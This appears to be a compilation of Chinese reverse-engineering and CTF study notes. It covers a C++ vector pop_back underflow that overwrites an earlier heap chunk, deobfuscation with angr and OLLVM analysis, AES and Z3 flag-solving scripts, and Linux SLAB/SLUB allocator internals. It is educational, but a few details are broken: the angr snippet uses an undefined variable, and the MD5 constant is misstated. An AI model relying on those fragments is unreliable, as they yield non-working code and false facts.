主要关注push_backpop_back

  • push_back

    • 参数一:栈上保存申请堆空间指针的栈地址
    • 参数二:要压入vector的值

    如果空间超过申请的堆空间大小,会free掉当前堆空间,然后malloc申请比之前大小的两倍减去0x10的大小。比如当前空间为0x50,那么扩容之后就是0x50*2-0x10的大小。

  • pop_back

    • 参数:栈上保存申请堆空间指针的栈地址

    只会修改之前提到的End地址,pop完之后如果接着pop则End会接着减少,会小于Begin的地址。

这里就存在漏洞了,就是如果接着pop会导致End不断减少,当小于Begin的地址时,这时候再push_back的话,就会在小于Begin地址处写入数据,导致堆块数据被重写,如下:

1
2
3
4
5
6
7
8
9
10
vector<int> test;
for(int i=0; i<2; i++)
test.push_back(i);
getchar();


for(int i=0; i<10; i++)
test.pop_back();
getchar();
test.push_back(0x50);

这样就会导致上一个堆块的数据被覆盖为0x50

此时再push_back(0x50),会如下

image-20220424145432745

就导致漏洞产生了。

相关的IDA代码如下

1
2
3
4
5
6
7
8
9
std::vector<int>::vector(v11, argv, envp);
for ( v12[0] = 0; v12[0] <= 1; ++v12[0] )
std::vector<int>::push_back(v11, v12);
getchar();
for ( i = 0; i <= 9; ++i )
std::vector<int>::pop_back(v11);
getchar();
v12[0] = 80;
std::vector<int>::push_back(v11, v12);

这个还是挺简单的,就不说了。

其他的像empty()resize()clear()什么的也是类似的,不多说了。

🔺注

对于类class放入vector的情况,在vector中只会保存对象的成员变量,而它的函数指针并不会保存

image-20221128143715373

当从容器中取出来时,会通过一个函数来获取对应成员的地址,之后传入对应的函数。

image-20221128143616124

3.容器类list

常见双向循环链表管理

双向循环链表,定义之后栈上只保存头节点地址和尾部节点地址

image-20221128145817008

每次申请push_back加入对象时都会使用malloc申请,创建next、prev指针,然后拷贝数据,将其放入双向循环链表中

image-20221128150028794

六、控制流去平坦化

cq674350529/deflat: use angr to deobfuscation (github.com)

image-20211201112020849

以上类型的就是平坦化之后的,需要找到函数入口进行去除,之后即可得到去除后的

1
python3 deflat.py -f binary --addr 0x400530

七、去混淆

1.利用angr

使用代码查找内存,找到混淆的地方,然后通过avoid来去除

1
2
3
4
5
6
7
8
9
10
11
12
binary = open('./yolomolo', 'rb').read()
avoids = []
index = 0
while True:
index = e.find(b'\xB9\x00\x00\x00\x00',index+1)
if index == -1:
break
addr = 0x400000 + index
avoids.append()

print (len(avoids))
print (avoids)

查找内存中的机器码为'\xB9\x00\x00\x00\x00'的地方,即mov ecx 0,这个为一些混淆的标志。

即找到混淆的标志点,然后通过avoid来去除。

八、批量修改数据

1
2
3
4
from idc_bc695 import*
addr = 0x401807
for i in range(0x401823-0x401807):
PatchByte(addr +i, Byte(addr+i)^0x90)

九、加密算法

1.md5

标识符:0x123456789

常见形式如下

image-20230728143855425

2.AES:

加密流程:

image-AES

首先轮密钥加(KeyAdd)

9轮循环:字节替换(substitution)、行移位(ShifRow)、列混淆(MixColumn)、轮密钥加(KeyAdd)

第10轮循环:字节替换(substitution)、行移位(ShifRow)、轮密钥加(KeyAdd)

第十轮没有列混淆,加密过程常见如下,函数名称是用Finger识别的

image-20230728144000135

密钥扩展:

先for循环4次,再for循环40次,属于密钥扩展

image-20230801110448511

判断模式:

如果密文的长度是16字节的整数倍,并且没有任何重复的块,那么可能是CTR或OFB模式3。
如果密文的长度是16字节的整数倍,并且有重复的块,那么可能是ECB或CBC模式3。ECB模式下,相同的明文块会产生相同的密文块,所以重复的块更容易被发现1。CBC模式下,相同的明文块不一定会产生相同的密文块,因为每个块都与前一个块进行异或操作1。但是如果明文中有大量的零或其他常数值,那么CBC模式下也可能出现重复的块3。
如果密文的长度不是16字节的整数倍,那么可能是CFB模式3。CFB模式下,可以对任意长度的明文进行加密,而不需要进行填充1。
参考:https://blog.csdn.net/qq_41853048/article/details/131771420

脚本使用

1
2
3
4
5
6
7
8
9
10
11
12
13
import re
from Crypto.Cipher import AES
from binascii import b2a_hex

mode = AES.MODE_ECB
key = b'\xcb\x8d\x49\x35\x21\xb4\x7a\x4c\xc1\xae\x7e\x62\x22\x92\x66\xce'
text = b'\xBC\x0A\xAD\xC0\x14\x7C\x5E\xCC\xE0\xB1\x40\xBC\x9C\x51\xD5\x2B\x46\xB2\xB9\x43\x4D\xE5\x32\x4B\xAD\x7F\xB4\xB3\x9C\xDB\x4B\x5B'
cryptos = AES.new(key, mode)
cipher_text = cryptos.decrypt(text)
t = b2a_hex(cipher_text).decode()
t = re.findall(".{2}", t)
for x in t:
print(chr(int(x, 16)), end="")

十、Z3求解

几个常见模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from z3 import *

a1 = []
for i in range(33):
a1.append(BitVec('a1%d' % i, 8))


s = Solver()
s.add(And((a1[5] ^ (a1[8] * a1[8] - a1[1]) ^ 0x33) == 9600
, ((a1[30] + a1[27] + a1[24] + a1[11] - a1[12] - a1[0] * a1[15] * a1[7]) ^ 0x64) == -344791
, ((a1[8] + a1[16] * a1[29] * a1[1] - a1[25]) ^ 0x62) == 406716
, ((a1[4] - a1[1]) ^ (a1[0] * a1[31] + a1[28] - a1[26]) ^ a1[13] ^ 0x66) == -8688
, ((a1[13] + a1[18] + a1[3] * a1[7] - a1[23] - a1[3]) ^ 0x66) == 3085
, ((a1[18] - a1[1] * a1[29]) ^ (a1[30] + a1[22] - a1[1]) ^ a1[15] ^ (a1[2] * a1[31]) ^ 0x35) == -16248
, ((a1[3] * a1[21] + a1[29] + a1[25] + a1[4] * a1[23] - a1[2] * a1[7] - a1[21]) ^ 0x65) == 4469
, ((a1[3] + a1[1] - a1[2]) ^ (a1[23] * a1[23]) ^ 0x61) == 2761
, ((a1[5] * a1[11]) ^ (a1[8] * a1[21]) ^ a1[29] ^ 0x39) == 7832 ))

s.add(And(((a1[7] * a1[11] * a1[8] + a1[14]) ^ (a1[10] + 2 * a1[25]) ^ (a1[10] * a1[15]) ^ 0x61) == 234968
, (a1[8] ^ (a1[19] + a1[27] + a1[19] * a1[0] + a1[9] * a1[25]) ^ a1[28] ^ a1[7] ^ 0x30) == 11738
, ((a1[32] - a1[1]) ^ (a1[28] + a1[14] - a1[2] * a1[21]) ^ a1[21] ^ 0x38) == 3252
, ((a1[1] * a1[32]) ^ (a1[8] + a1[0] - a1[5] - a1[11]) ^ a1[21] ^ (a1[2] - a1[12]) ^ 0x32) == -2673
, (a1[2] ^ (a1[0] + a1[1]) ^ (a1[6] - a1[19] - a1[22]) ^ 0x64) == -164
, ((a1[25] - a1[0]) ^ (a1[28] + a1[4] + a1[31] * a1[31] + a1[2] - a1[32]) ^ 0x30) == -15811
, (a1[6] ^ (a1[5] + a1[15] * a1[32] - a1[32] * a1[19] * a1[22]) ^ a1[8] ^ 0x61) == -167332
, ((a1[26] + a1[32] * a1[24] - a1[10]) ^ (a1[11] * a1[3] - a1[30] - a1[27] - a1[31]) ^ 0x64) == 3470
, ((a1[5] * a1[15]) ^ (a1[18] * a1[25] + a1[14] + a1[2] + a1[26] + a1[27]) ^ a1[29] ^ 0x38) == 4323
, ((a1[29] * a1[8] * a1[21] * a1[27] + a1[13] - a1[7]) ^ a1[5] ^ 0x39) == 25234850))


s.add(And(((a1[0] * a1[8] * a1[13] + a1[6] + a1[19] * a1[23] - a1[2]) ^ 0x62) == 394534
, ((a1[14] + a1[30] + a1[14] - a1[30] - a1[2] * a1[30] * a1[1] * a1[17] - a1[2]) ^ 0x35) == -15531747
, ((a1[1] * a1[14]) ^ (a1[13] - a1[27] * a1[32]) ^ 0x33) == -9992
, (a1[11] ^ a1[25] ^ a1[12] ^ a1[2] ^ (a1[11] + a1[29] - a1[24]) ^ 0x32) == 117
, (a1[2] ^ (a1[20] + a1[0] + a1[8] * a1[6] * a1[8] * a1[0] - a1[19]) ^ 0x62) == 83181080
, ((a1[14] * a1[32] + a1[29] + a1[22] - a1[18] - a1[1]) ^ 0x64) == 3243
, ((a1[18] - a1[4]) ^ (a1[16] + a1[7]) ^ (a1[14] + a1[18] - a1[7] - a1[14]) ^ 0x65) == -25
, ((a1[13] - a1[7]) ^ (a1[2] - a1[13]) ^ (a1[0] - a1[4] - a1[14] - a1[13] - a1[26]) ^ 0x65) == -363
, ((a1[1] + a1[10] + a1[7] * a1[14] * a1[7]) ^ (a1[17] + a1[5] * a1[8]) ^ 0x37) == 239501
, (a1[5] ^ (a1[15] * a1[24]) ^ 0x61) == 5026))


s.add(And((a1[9] ^ (a1[28] * a1[0]) ^ (a1[29] + a1[12] + a1[16]) ^ 0x37) == 7058
, ((a1[6] * a1[8] + a1[6]) ^ (a1[18] - a1[7]) ^ 0x65) == 12399
, ((a1[12] + a1[8]) ^ (a1[1] - a1[1] * a1[32] * a1[30]) ^ 0x30) == -151548
, ((a1[4] + a1[32] * a1[18] + a1[22] - a1[12] - a1[22] - a1[12]) ^ 0x30) == 1624
, ((a1[9] * a1[3]) ^ (a1[26] + a1[13]) ^ a1[23] ^ 0x65) == 6569
, ((a1[17] - a1[3]) ^ (a1[14] * a1[26] * a1[11] * a1[25]) ^ 0x61) == -24990047
, ((a1[22] - a1[0]) ^ (a1[2] - a1[31] - a1[13] - a1[5] - a1[28]) ^ 0x65) == 372
, (a1[8] ^ (a1[4] * a1[14] + a1[20] + a1[19] + a1[25] + a1[21] * a1[8] - a1[1]) ^ 0x63) == 13326
, ((a1[8] + a1[29] - a1[25] - a1[32]) ^ (a1[24] * a1[4]) ^ 0x62) == 3910
, ((a1[2] * a1[15] + a1[27] - a1[30] * a1[29]) ^ 0x37) == 1316))

s.add(And(((a1[5] - a1[2] * a1[24]) ^ (a1[21] - a1[20]) ^ a1[7] ^ 0x64) == 3290
, ((a1[9] * a1[15]) ^ (a1[7] - a1[14]) ^ a1[2] ^ 0x37) == -10137
, ((a1[5] * a1[6] + a1[26]) ^ (a1[11] + a1[3]) ^ 0x61) == 8601
, (a1[3] ^ (a1[8] + a1[16] + a1[27]) ^ (a1[28] + a1[31] * a1[12] + a1[21]) ^ 0x35) == 12752
, (a1[2] ^ (a1[6] - a1[20] - a1[8] * a1[9]) ^ (a1[16] + a1[6]) ^ 0x63) == -9964
, ((a1[1] * a1[2] * a1[32]) ^ (a1[29] + a1[27]) ^ (a1[1] * a1[18] * a1[8]) ^ 0x35) == 283359))


for i in range(7):
s.add(a1[i] == ord('ESCAPE{'[i]))

flg = ""
if s.check()==sat:
result = s.model()
print(result)
s.model().sorts()
for i in range(33):
flg += chr(eval(str(s.model().eval(a1[i]))))
print(flg)

在s.add中间需要用And(xx,xxx)来进行2个条件联合约束

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from z3 import *

s = Solver()
v1 = Real('v1')
v2 = Real('v2')
v3 = Real('v3')
v4 = Real('v4')
v5 = Real('v5')
v6 = Real('v6')
v7 = Real('v7')
v8 = Real('v8')
v9 = Real('v9')
v11 = Real('v11')
s.add(-85 * v9 + 58 * v8 + 97 * v6 + v7 + -45 * v5 + 84 * v4 + 95 * v2 - 20 * v1 + 12 * v3 == 12613)
s.add(
30 * v11 + -70 * v9 + -122 * v6 + -81 * v7 + -66 * v5 + -115 * v4 + -41 * v3 + -86 * v1 - 15 * v2 - 30 * v8 == -54400)
s.add(-103 * v11 + 120 * v8 + 108 * v7 + 48 * v4 + -89 * v3 + 78 * v1 - 41 * v2 + 31 * v5 - (
v6 * 64) - 120 * v9 == -10283)
s.add(71 * v6 + (v7 * 128) + 99 * v5 + -111 * v3 + 85 * v1 + 79 * v2 - 30 * v4 - 119 * v8 + 48 * v9 - 16 * v11 == 22855)
s.add(5 * v11 + 23 * v9 + 122 * v8 + -19 * v6 + 99 * v7 + -117 * v5 + -69 * v3 + 22 * v1 - 98 * v2 + 10 * v4 == -2944)
s.add(-54 * v11 + -23 * v8 + -82 * v3 + -85 * v2 + 124 * v1 - 11 * v4 - 8 * v5 - 60 * v7 + 95 * v6 + 100 * v9 == -2222)
s.add(-83 * v11 + -111 * v7 + -57 * v2 + 41 * v1 + 73 * v3 - 18 * v4 + 26 * v5 + 16 * v6 + 77 * v8 - 63 * v9 == -13258)
s.add(81 * v11 + -48 * v9 + 66 * v8 + -104 * v6 + -121 * v7 + 95 * v5 + 85 * v4 + 60 * v3 + -85 * v2 + 80 * v1 == -1559)
s.add(101 * v11 + -85 * v9 + 7 * v6 + 117 * v7 + -83 * v5 + -101 * v4 + 90 * v3 + -28 * v1 + 18 * v2 - v8 == 6308)
s.add(99 * v11 + -28 * v9 + 5 * v8 + 93 * v6 + -18 * v7 + -127 * v5 + 6 * v4 + -9 * v3 + -93 * v1 + 58 * v2 == -1697)
if s.check() == sat:
result = s.model()
print(result)

十一、OLLVM

OLLVM(Obfuscator-LLVM)是瑞士西北应用科技大学安全实验室于2010年6月份发起的一个项目,该项目旨在提供一套开源的针对LLVM的代码混淆工具,以增加对逆向工程的难度,只不过仅更新到llvm的4.0,2017年开始就没在更新。

ollvm的分类

分类 描述
指令替换(Instructions Substitution)(Sub) 将一条运算指令替换为多条等价的运算指令,例如:y=x+1变为y=x+1+1-1
虚假控制流(Bogus Control Flow)(bcf) 通过加入包含不透明谓词的条件跳转和不可达的基本块,来干扰IDA的控制流分析和F5反汇编
控制流平坦化(Control Flow Flattening)(Fla) 主要通过一个主分发器来控制程序基本块的执行流程,将所有基本代码放到控制流最底部,然后删除原理基本块之间跳转关系,添加次分发器来控制分发逻辑,然后过新的复杂分发逻辑还原原来程序块之间的逻辑关系
字符串加密 编写一个pass将其中的字符串信息使用一些加密算法进行加密,然后特定的时间进行还原

具体的例子看参考就行

参考:《安卓逆向这档事》十二、大佬帮我分析一下 - 『移动安全区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

ollvm对抗

1.简单ollvm可以通过交叉引用分析
2.angr去除不透明谓词
3.Unicorn/Unidbg/AndroidNativeEmu模拟执行
4.IDA Trace
5.binary ninja
6.后端编译优化
7.frida辅助分析

IDA交叉分析

参照:《安卓逆向这档事》十二、大佬帮我分析一下 - 『移动安全区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

原始check函数

AES加密,然后和获取的数据比较

image-20240118091136749

OLLVM混淆后的check函数

image-20240118091232228

那么从返回值开始分析,交叉引用返回值,定位到v33

image-20240118091306726

随后交叉引用v33

image-20240118091345033\

276行在272行下面,v33对应v19,那么v33指向内容被修改,v19指向内容也被修改,即v19指向内容的值为v18

交叉引用v18,和strcmp(v32,v31)有关

image-20240118091453138

再交叉引用v32,可以看到v32为v17,v17为AES加密后的数据,对应未被OLLVM混淆的v6

image-20240118091532527

再看看v31,对应v8

image-20240118091638492

image-20240118091722931

v8为获取的数据,对应未被OLLVM混淆的v5,最后即可分析完毕。

IDA的Trace动态分析

  • Instruction tracing 调试器将为每条指令保存所有修改后的寄存器值。
  • Basic block tracing 调试器将保存到达临时基本块断点的所有地址。
  • Function tracing 调试器将保存发生函数调用或函数返回的所有地址。

在解密的地方下断点,这里即为如下所示

image-20240118092458285

运行断下来之后,选择Debugger->Tracing->Tracing options,取消复选框Trace over debugger segments,然后选择Trace文件保存位置

image-20240118093045657

然后Debugger->Tracing->Instruction tracing,三个跟踪选项作用在上面说过了

然后确定一个区域,即下两个断点

image-20240118093342263

随后run就行,最终会在下一个断点停下来,然后路过的地方都会变为黄色

image-20240118093516307

结束之后,就能在之前保存日志的地方看见具体信息

image-20240118093557275

有时候Trace的时候没有变黄,那么说明没有运行到,就不需要再进行关注了

之后打开trace的日志分析,重点关注解密AES_ECB_PKCS7_Decrypt的返回结果,这里即X0为函数AES_ECB_PKCS7_Decrypt调用之后的返回结果,这个地址里面有个B4不知道是个啥

image-20240118094535305

在IDA中跳转查看内存,得到最终的返回结果

image-20240118094324172

TIPS

1.windows的API手册

Windows API 索引 - Win32 apps | Microsoft Docs

2.IDA-python

3.GDB转储调试

  • 生成:generate-core-file生成core文件
  • 调试:gdb programer core_file

4.Unity游戏逆向

https://www.52pojie.cn/thread-495115-1-1.html

5.最长反编译修改

有时候当一个函数太长,就会导致IDA反编译失败,如下所示

image-20230726151414182

这个可以通过设置IDA目录下的hexrays.cfg配置文件来设置最大反编译的代码长度,如下,将MAX_FUNCSIZE修改为1024即可

image-20230726151344840

6.安卓Unity

核心逻辑一般在bin\Data\Managed\Assembly-CSharp.dll,题目为[MRCTF2020]PixelShooter

7.C#/.Net反编译

可以用dnspy,在github上有Releases · dnSpy/dnSpy (github.com)

题目见:FlareOn1-Bob_Doge,可以调试的

  • 右键-转到入口点
  • 开始分析

image-20230801144313490

image-20230801144322604

8.字符串显示变量

如下所示

image-20240117171031822

实际上应该是字符串

image-20240117171048963

可以通过如下修改一下

Edit->Plugins->Hex-rays ->options->Analysis options 1,去掉如下选项即可

image-20240117171243176

Linux内核内存分配笔记

前言

Linux内核的内存分配很复杂,单独开篇来慢慢记录。

SLAB

参考:linux内存源码分析 - SLAB分配器概述 - tolimit - 博客园 (cnblogs.com)

函数链:

1
kmem_cache_alloc()->slab_alloc()->__do_cache_alloc()->__cache_alloc()

最终在__cache_alloc进行实际的内存分配,在这进行分配分叉点。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//v5.8 /mm/slab.c
static inline void *____cache_alloc(struct kmem_cache *cachep, gfp_t flags)
{
void *objp;
//当前slab描述符的对象缓冲池
struct array_cache *ac;
//...
//获取缓冲池,实际上为对应的
//CPU_addr+kmalloc_caches[xx][xx].cpu_cache
//这个kmalloc_caches[xx][xx]即为对应大小的slab描述符
ac = cpu_cache_get(cachep);
//如果存在可用的,就直接进行分配-------freelist式分配
if (likely(ac->avail)) {
ac->touched = 1;
//这里即把avail也当作一个idx进行索引了
objp = ac->entry[--ac->avail];
STATS_INC_ALLOCHIT(cachep);
goto out;
}

STATS_INC_ALLOCMISS(cachep);
//不存在的话,则进入另一种分配--------其他缓冲池分配
objp = cache_alloc_refill(cachep, flags);
/*
* the 'ac' may be updated by cache_alloc_refill(),
* and kmemleak_erase() requires its correct value.
*/
ac = cpu_cache_get(cachep);

out:
/*
* To avoid a false negative, if an object that is in one of the
* per-CPU caches is leaked, we need to make sure kmemleak doesn't
* treat the array pointers as a reference to the object.
*/
if (objp)
kmemleak_erase(&ac->entry[ac->avail]);
return objp;
}

1.本地缓冲池分配

这个就不多说了,依据CPUX_addr + kmalloc_caches[xx][xx].cpu_cache.entry当作一个array_cache进行分配,分配一个即将对应的array_cache.avail减1。

2.其他缓冲池分配

进入cache_alloc_refill()函数,还是会有相关的分叉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
//v5.9 /mm/slab.c
static void *cache_alloc_refill(struct kmem_cache *cachep, gfp_t flags)
{
int batchcount;
struct kmem_cache_node *n;
struct array_cache *ac, *shared;
int node;
void *list = NULL;
struct page *page;

check_irq_off();
//获取node节点id和array_cache相关信息
node = numa_mem_id();
ac = cpu_cache_get(cachep);
batchcount = ac->batchcount;
//不知道干啥的
if (!ac->touched && batchcount > BATCHREFILL_LIMIT) {
/*
* If there was little recent activity on this cache, then
* perform only a partial refill. Otherwise we could generate
* refill bouncing.
*/
batchcount = BATCHREFILL_LIMIT;
}
//真实的node节点指针
n = get_node(cachep, node);


BUG_ON(ac->avail > 0 || !n);
//尝试从共享对象缓冲池shared_entry进行分配
shared = READ_ONCE(n->shared);
if (!n->free_objects && (!shared || !shared->avail))
goto direct_grow;
//相关自旋锁
spin_lock(&n->list_lock);
shared = READ_ONCE(n->shared);
/* See if we can refill from the shared array */
//transfer_objects()函数会从共享对象缓冲池shared_entry
//转移batchcount个空闲对象到本地缓冲池进行分配
if (shared && transfer_objects(ac, shared, batchcount)) {
//为什么设置touched?
shared->touched = 1;
goto alloc_done;
}

//共享对象缓冲池shared_entry没有空闲对象时,查看
//slabs_partial(部分空闲)链表和slabs_free(全部空闲)链表
while (batchcount > 0) {
/* Get slab alloc is to come from. */
//进入实际分配函数
page = get_first_slab(n, false);
//如果slabs_partial(部分空闲)链表和slabs_free(全部空闲)链表
//都没有则重新分配一个slab及对应空间
if (!page)
goto must_grow;

check_spinlock_acquired(cachep);

batchcount = alloc_block(cachep, ac, page, batchcount);
fixup_slab_list(cachep, n, page, &list);
}

//重新分配一个slab
must_grow:
n->free_objects -= ac->avail;
alloc_done:
spin_unlock(&n->list_lock);
fixup_objfreelist_debug(cachep, &list);


direct_grow:
if (unlikely(!ac->avail)) {
/* Check if we can use obj in pfmemalloc slab */
if (sk_memalloc_socks()) {
void *obj = cache_alloc_pfmemalloc(cachep, n, flags);
if (obj)
return obj;
}

page = cache_grow_begin(cachep, gfp_exact_node(flags), node);

/*
* cache_grow_begin() can reenable interrupts,
* then ac could change.
*/
ac = cpu_cache_get(cachep);
if (!ac->avail && page)
alloc_block(cachep, ac, page, batchcount);
cache_grow_end(cachep, page);

if (!ac->avail)
return NULL;
}
ac->touched = 1;

return ac->entry[--ac->avail];
}

①shared缓存池分配

尝试将kmalloc_caches[xx][xx].node.shared.entry当作一个array_cache进行检测,尝试分配

image-20220517162554930

②slabs_partial和slabs_free分配

get_first_slab()函数中进行分配,尝试获取一个slab页框描述符,依据相关索引,从其中的page->mapping开始获取堆块对象obj,挨个转移到对应CPUkmalloc-xxarray_cache(即对应的本地缓冲池中)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//v5.9 /mm/slab.c
static struct page *get_first_slab(struct kmem_cache_node *n, bool pfmemalloc)
{
struct page *page;

assert_spin_locked(&n->list_lock);
page = list_first_entry_or_null(&n->slabs_partial, struct page,slab_list);
if (!page) {
n->free_touched = 1;
page = list_first_entry_or_null(&n->slabs_free, struct page,
slab_list);
if (page)
n->free_slabs--;
}
if (sk_memalloc_socks())
page = get_valid_first_slab(n, page, pfmemalloc);

return page;
}

3.重新分配一个slab

上面也提到,进入到must_grow即进行slab的重新分配,这个着实有点复杂,不是很会,涉及ZONE、NODE什么之类的数据结构,还有NUMA机制之类的。

SLUB

参考:Linux内存管理:slub分配器 - 知乎 (zhihu.com)

函数链:

1
kmem_cache_alloc()->slab_alloc()->slab_alloc_node()

slab_alloc_node()函数开始分配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//v5.9 /mm/slub.c
static __always_inline void *slab_alloc_node(struct kmem_cache *s,
gfp_t gfpflags, int node, unsigned long addr)
{
void *object;
struct kmem_cache_cpu *c;
struct page *page;
unsigned long tid;
struct obj_cgroup *objcg = NULL;

//获取对应的kmem_cache描述符
s = slab_pre_alloc_hook(s, &objcg, 1, gfpflags);
if (!s)
return NULL;
redo:
//.....
//尝试从本地缓冲池进行分配
object = c->freelist;
page = c->page;
if (unlikely(!object || !node_match(page, node))) {
//本地缓冲池已分配完毕
//分配不成功就进入后续的__slab_alloc()函数
object = __slab_alloc(s, gfpflags, node, addr, c);
stat(s, ALLOC_SLOWPATH);
} else {
//相关SLUB保护的指针运算
void *next_object = get_freepointer_safe(s, object);
//...一大堆检查
}
//一大堆检查看不太懂

return object;
}

1.本地缓冲池分配

这个就不说了,直接就是从本地的kmem_cache_cpucpu_slabfreelist开始分配,上面的slab_alloc_node()函数中也相关体现了。

之后在__slab_alloc()函数中进行相关判断后会进入到___slab_alloc()函数,进行后续的不同情况判断。不是很懂在干嘛,和CONFIG_PREEMPTION配置有关。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//v5.9 /mm/slub.c
static void *__slab_alloc(struct kmem_cache *s, gfp_t gfpflags, int node,
unsigned long addr, struct kmem_cache_cpu *c)
{
void *p;
unsigned long flags;

local_irq_save(flags);
#ifdef CONFIG_PREEMPTION
/*
* We may have been preempted and rescheduled on a different
* cpu before disabling interrupts. Need to reload cpu area
* pointer.
*/
c = this_cpu_ptr(s->cpu_slab);
#endif

p = ___slab_alloc(s, gfpflags, node, addr, c);
local_irq_restore(flags);
return p;
}

如下,当cpu_slab->freelist被分配完毕之后,cpu_slab->page也被清空image-20220519192842119

2.partial分配

在定义配置时,需要CONFIG_SLUB_CPU_PARTIAL=y才会有

进入___slab_alloc()函数后,会分为不少情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
static void *___slab_alloc(struct kmem_cache *s, gfp_t gfpflags, int node,
unsigned long addr, struct kmem_cache_cpu *c)
{
void *freelist;
struct page *page;
//这个c即为对应kmalloc-xx下的cpu_slab
//检查page是否为NULL,如果为NULL代表本地缓冲池的freelist已经分配完毕
//那么就会进入到new_slab
page = c->page;
if (!page) {
/*
* if the node is not online or has no normal memory, just
* ignore the node constraint
*/
if (unlikely(node != NUMA_NO_NODE &&
!node_state(node, N_NORMAL_MEMORY)))
node = NUMA_NO_NODE;
goto new_slab;
}
redo:
//这里有一些匹配检查,会检查page的nid和node是否能对上
//不能对上就不会进行相关分配,接着重来,不太懂
//也常常碰上不匹配的partial
if (unlikely(!node_match(page, node))) {
/*
* same as above but node_match() being false already
* implies node != NUMA_NO_NODE
*/
if (!node_state(node, N_NORMAL_MEMORY)) {
node = NUMA_NO_NODE;
goto redo;
} else {
stat(s, ALLOC_NODE_MISMATCH);
deactivate_slab(s, page, c->freelist, c);
goto new_slab;
}
}

//.....

/* must check again c->freelist in case of cpu migration or IRQ */
freelist = c->freelist;
if (freelist)
goto load_freelist;

freelist = get_freelist(s, page);
if (!freelist) {
c->page = NULL;
stat(s, DEACTIVATE_BYPASS);
goto new_slab;
}
stat(s, ALLOC_REFILL);

//本地CPU的page被赋值之后,加载freelist的过程
load_freelist:
/*
* freelist is pointing to the list of objects to be used.
* page is pointing to the page from which the objects are obtained.
* That page must be frozen for per cpu allocations to work.
*/
VM_BUG_ON(!c->page->frozen);
c->freelist = get_freepointer(s, freelist);
c->tid = next_tid(c->tid);
return freelist;

//这里完成本地CPU的partial寻找以及重新从buddy伙伴中分配slab描述符
new_slab:
//检查本地CPU的partial是否存在
if (slub_percpu_partial(c)) {
//本地CPU的partial则直接赋值给本地CPU的page,进入redo加载freelist
page = c->page = slub_percpu_partial(c);
//对本地CPU刚赋值的page进行相关设置,包括slab_cache等之类的设置
slub_set_percpu_partial(c, page);
stat(s, CPU_PARTIAL_ALLOC);
//跳转redo,依据新的page重新加载freelist
goto redo;
}
//new_slab_objects会检查当前kmalloc-xx对应的node下
//是否存在partial可供分配,没有则会从buddy伙伴系统中分配slab页框描述符
freelist = new_slab_objects(s, gfpflags, node, &c);
//后面就是一些相关的检查及加载freelist
if (unlikely(!freelist)) {
slab_out_of_memory(s, gfpflags, node);
return NULL;
}
page = c->page;
if (likely(!kmem_cache_debug(s) && pfmemalloc_match(page, gfpflags)))
goto load_freelist;
//............
deactivate_slab(s, page, get_freepointer(s, freelist), c);
return freelist;
}

(1)本地CPU的partial

首先就是判断本地CPU,即cpu_slabpartial,其也为一个page页框,会与其他的页框依据struct list_head lru;域组成双向循环链表。

  • 如果存在,则将该partial当作一个slab描述页框page,遍历其struct list_head lru;域,找到合适的slab描述页框page,赋值给cpu_slab->page,并且该partial也会在slub_set_percpu_partial(c, page);函数中被原本的partialnext覆盖。

    请忽略这个freelist上还有值,截图的时候没有分配光freelist

    image-20220519210608695

    完成之后如下所示,被覆盖掉

    image-20220519211038094

  • 然后进入redo,依据新赋值的page加载freelist,并且保存在page中的freelist被置空,最终如下

    image-20220519211452815

(2)node中的partial

然后进入new_slab_objects函数判断本kmalloc-xx对应的node中是否存在partial,存在则进行相关赋值后,直接返回freelist

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
static inline void *new_slab_objects(struct kmem_cache *s, gfp_t flags,
int node, struct kmem_cache_cpu **pc)
{
void *freelist;
struct kmem_cache_cpu *c = *pc;
struct page *page;

//.....
//查看本kmalloc-xx对应的node中的partial是否存在
//存在进行相关赋值后直接返回freelist了
freelist = get_partial(s, flags, node, c);
if (freelist)
return freelist;

//本kmalloc-xx对应的node中的partial不存在,从buddy伙伴系统分配
page = new_slab(s, flags, node);
if (page) {
c = raw_cpu_ptr(s->cpu_slab);
if (c->page)
flush_slab(s, c);
/*
* No other reference to the page yet so we can
* muck around with it freely without cmpxchg
*/
freelist = page->freelist;
page->freelist = NULL;

stat(s, ALLOC_SLAB);
c->page = page;
*pc = c;
}

return freelist;
}

这里有点奇怪的是,遍历对应struct kmem_cachekmalloc-xx下的node时,其partial指向的是pagestruct list_head lru;域地址,而非实际的page地址,所以真实的page地址为struct list_head lru;域地址减去0x8

image-20220519201826071

之后即从该page中取freelist进行赋值给本地的kmem_cache_cpucpu_slabfreelist,即本地缓冲池。

3.buddy分配

如上述所示,在new_slab_objects()中判断partial不存在之后,即从buddy伙伴算法中分配新的slab页框描述符,之后就太复杂了,后续再学把。

NSSCTF-Web安全入门刷题

[SWPUCTF 2021 新生赛]jicao

1
2
3
4
5
6
7
